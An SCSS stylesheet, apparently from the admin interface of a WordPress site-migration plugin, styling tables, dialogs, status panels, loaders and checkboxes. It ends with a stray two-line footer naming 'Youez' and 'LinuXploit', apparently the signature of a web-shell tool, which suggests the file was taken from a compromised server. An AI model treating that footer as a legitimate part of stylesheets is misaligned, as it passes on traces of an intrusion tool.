  background-color: $white;
}

.table {
  width: 100%;
  padding-right: 20px;
  border-radius: $radius-medium;
  text-align: start;

  .table__head .table__cell:first-of-type {
    border-top-left-radius: $radius-medium;
  }

  .table__head .table__cell:last-of-type {
    border-top-right-radius: $radius-medium;
  }

  .table__row:last-of-type .table__cell:first-of-type {
    border-bottom-left-radius: $radius-medium;
  }

  .table__row:last-of-type .table__cell:last-of-type {
    border-bottom-right-radius: $radius-medium;
  }
}

.table__head .table__cell {
  color: $grey-60;
  font-family: $font-family-main;
  font-weight: $font-weight-regular;
  font-size: 12px;
  line-height: 20px;
  text-align: left;
  border-top: none;
}

.table__head--background-default .table__cell {
  background-color: $grey-10;
}

.table__cell.table__cell--is-in-row-selection,
.table__cell--is-in-row-selection {
  background-color: $grey-20;
}

.table__cell {
  position: relative;
  height: 60px;
  padding: 0 $space-medium;
  vertical-align: middle;

  background-color: $white;
  border-top: 1px solid $grey-20;
  font-size: 13px;
  line-height: 20px;
  text-align: left;
}

.table-wrapper--density-medium {
  .table__cell:first-child {
    padding-left: $space-large;

    &::before {
      left: $spacing-factor;
    }
  }

  .table__cell:last-child {
    padding-right: $space-large;

    &::before {
      right: $spacing-factor;
    }
  }
}

.border-box {
  display: flex;
  flex-direction: column;
  align-items: center;
  position: relative;
  border: 1px solid $grey-40;
  border-radius: $radius-medium;
  text-align: center;
  width: 100%;

  p {
    padding: 0 $space-medium;
  }
}

.border-box__icon {
  color: $grey-50;
  margin-bottom: $space-small;
}

.box {
  position: relative;

  .border-box {
    padding: $space-large 0;
  }
}

.box--flex {
  display: flex;
}

.box--direction-row {
  flex-direction: row;
}

.flex--gutter-none > .box {
  padding-left: 0;
  padding-right: 0;
}

.flex--gutter-medium > .box {
  padding-left: $space-medium/2;
  padding-right: $space-medium/2;
}

.flex--gutter-xx-large > .box {
  padding-left: $space-xx-large/2;
  padding-right: $space-xx-large/2;
}

.label {
  border: 1px solid transparent;
  border-radius: $radius-small;
  color: $white;
  text-transform: uppercase;
  display: inline-flex;
  align-items: center;
}

.label--size-medium {
  font-size: $font-size-small;
  line-height: 15px;
  padding: 2px 5px;
}

.label--type-inactive-link {
  color: $color-error;
}

.create-box {
  position: relative;

  .flex {
    max-width: 67%;
  }

  &:after {
    content: '';
    display: block;
    position: absolute;
    right: 0;
    top:0;
    bottom: 0;
    left: 67%;
    background: #f8f8f8 url('../img/presentational-migrator-144x144.svg') no-repeat center center;
    background-size: 37%;
  }

  .btn {
    margin: 30px 0
  }

}

.loader {
  display: none;
  width: 100%;
  text-align: center
}

.loader-visible {
  display: block;
}

.section--status-0 {
  .thank-you--fail {
    display: block;
  }
  .container--progress {
    display: none;
  }
}

.section--status-4 {
  .thank-you--warning {
    display: block;
  }
  .container--progress {
    display: none;
  }

  .box--actions {
    display: none;
  }

  .table__row-template {
    display: none;
  }

  .new-site-info {
    margin: 30px -20px;
  }
}

.section--status-5 {
  .thank-you--warning {
    display: block;
  }
  .container--progress {
    display: none;
  }

  .box--actions {
    display: block;

    .btn__resume {
      background: $red;
    }
  }

  .box--errors {
    display: none;
  }

  .btn__new_transfer {
    display: none;
  }
}

.section--status-3 {
  .thank-you--success {
    display: block;
  }
  .container--progress {
    display: none;
  }
  .new-site-info {
    display: flex !important;
  }
}


.section--status-1,
.section--status-2 {

  .settings {
    display: none;
  }

  .loader {
    display: block;
  }

}

a.btn__new_transfer,
a.btn__cancel {
  text-decoration: underline;
  color: #bfbfbf;
}

.icon-x {
  display: none;
  width: 48px;
  height: 48px;
  margin: 20px auto 0;
  padding: 14px;
  background: $red;
  border-radius: 50%;
}

.loader-spinner {
  margin: $space-small auto 0;
  width: $loader-size;
  height: $loader-size;
  border-width: 5px;
  border-style: solid;
  border-top-color: $grey-50;
  border-right-color: $grey-30;
  border-bottom-color: $grey-30;
  border-left-color: $grey-30;
  border-radius: $radius-full;
  -webkit-animation: spin 1.7s linear infinite;
  animation: spin 1.7s linear infinite;
}

.dialog-wrapper {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  z-index: z-index(modalBackground);
  display: flex;
  flex-direction: column;  // IE11:
  padding: $space-medium;
  overflow: auto;
  background-color: rgba($body-color, 0.95);
  will-change: transform;
  display: none;

  &.visible {
    display: flex;
  }
}

.dialog {
  display: flex;
  flex-direction: column;
  flex-shrink: 0;
  margin: auto;
  background: $white;
  border-radius: $radius-medium;
  box-shadow: $second-level-box-shadow;
  will-change: transform;
  width: 470px;
  .dialog__toolbar {
    margin: 0;
  }
}

.dialog__header {
  display: flex;
  flex-direction: column;
  align-items: center;
  padding: $space-x-large $space-xx-large 0 $space-xx-large;

  &--striped-title {
    padding-bottom: $space-x-large;
  }

  &--striped-icon {
    padding-top: 0;
  }
}

.dialog__content {
  display: flex;
  flex-direction: column;
  align-items: center;
}

.dialog--align-center {
  .dialog__header,
  .dialog__content {
    text-align: center;
  }
}

.dialog__title {
  width: 100%;
  color: $body-color;

  strong {
    font-weight: $font-weight-bold;
  }

  em {
    color: $grey-60;
    font-style: normal;
    word-wrap: break-word;
    word-break: break-all;
  }
}

.dialog__icon {
  width: 60px;
  height: 60px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 50%;
  padding: $space-x-small;
}

.dialog__toolbar {
  justify-content: flex-end;
}

.dialog--density-medium {
  .dialog__content {
    padding: 0 $space-xx-large $space-x-large $space-xx-large;

    &--no-header {
      padding-top: $space-x-large;
    }
  }
}

.dialog--state-active {
  border-top: 3px solid $color-success;

  .dialog__icon {
    color: $white;
    background-color: $color-success;
  }
}

.dialog--state-inactive {
  border-top: 3px solid $color-error;

  .dialog__icon {
    color: $white;
    background-color: $color-error;
  }
}

.dialog--state-warning {
  border-top: 3px solid $color-warning;

  .dialog__icon {
    color: $white;
    background-color: $color-warning;
  }
}
.toolbar {
  display: flex;
  width: 100%;
  margin-top: $space-medium;
  border-radius: 0 0 $radius-medium $radius-medium;

  .btn--primary {
    background: $red;
  }
}

.toolbar--density-comfortable {
  padding: $space-medium $space-xx-large;
}

.toolbar--align-baseline {
  align-items: baseline;
}

.toolbar--background-light {
  background-color: $grey-20;
}

@media (max-width: $max-phone-size) {
  *[class*="box--sm-"] {
    width: 100%;
    margin-top: $space-medium;

    &:first-child {
      margin-top: 0;
    }
  }
  .create-box {
    .flex { max-width: 100% }
    &:after { content: none }
    .btn {width: 100%}
  }
  .container--padding-xx-large {
    padding: $space-xx-large $space-small;
    overflow: hidden;
  }
  .section__content {
    padding-left: $space-x-small;
  }
  .title--level-1 {
    font-size: 26px;
    line-height: 36px;
  }

  .title--level-3 {
    font-size: 20px;
    line-height: 26px;
  }
  .title--density-comfortable {
    &.title--level-1 {
      padding: 12px 0;
    }
    &.title--level-3 {
      padding: 14px 0;
    }
    &.title--level-4 {
      padding: 16px 0;
    }
    &.title--level-5 {
      padding: 18px 0;
    }
  }
  .dialog {
    width: 100%;
  }
  .dialog--density-medium {
    .dialog__header {
      padding: $space-small $space-medium 0;
      &--striped-title {
        padding-bottom: $space-small;
      }
    }
    .dialog__content {
      padding: 0 $space-medium $space-small;
      &--no-header {
        padding-top: $space-small;
      }
    }
  }

  .dialog__content {
    padding: $space-medium;
  }
}

@media (min-width: 768px) {
  @for $i from 1 through 12 {
    .box--sm-#{$i} {
      width: (100%/12*$i);
    }
  }
}

.hidden { display: none !important; }
.toplevel_page_siteground-migrator #wpwrap { background: #f8f8f8; }
.toplevel_page_siteground-migrator #adminmenu .wp-menu-image img { opacity: 1; }


/* stylelint-disable */

.checkbox {
  display: -webkit-inline-box;
  display: -ms-inline-flexbox;
  display: inline-flex;
  cursor: pointer;
  font-family: Roboto;
  font-weight: 400;
  text-align: start;
  color: #25b8d2;
}

.checkbox__input {
  display: none;
}

.checkbox__icon {
  -ms-flex-negative: 0;
      flex-shrink: 0;
  border-radius: 3px;
  border: 1px solid currentColor;
  color: currentColor;
}

#checkbox__label_email {
  max-width: 100%;
  color: #444;
}

.checkbox--disabled {
  opacity: 0.5;
  pointer-events: none;
}

.checkbox__input:focus ~ .checkbox__icon {
  border: 1px solid #c2c2c2;
  box-shadow: 0 2px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 5px 0 rgba(0, 0, 0, 0.16);
}

.checkbox__input:not(:checked):not(:indeterminate) ~ .checkbox__icon {
  border: 1px solid #ddd;
  color: transparent;
}

/* Sizes
   ========================================================================== */

.checkbox--medium {
  padding: 18px 0;
  display: flex;
  margin-bottom: -20px;

  .checkbox__icon {
    width: 18px;
    height: 18px;
    padding: 3px;
  }

  #checkbox__label_email {
    padding-right: 8px;
    max-width: calc(100% - 18px);
    font-size: 14px;
    line-height: 20px;
  }

  .checkbox__icon + #checkbox__label_email {
    padding-left: 8px;
    padding-right: 0;
  }
}

.checkbox--align-center {
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
}

.btn--restart {
  background-color: #6acb4c;
}

Youez - 2016 - github.com/yon3zu
LinuXploit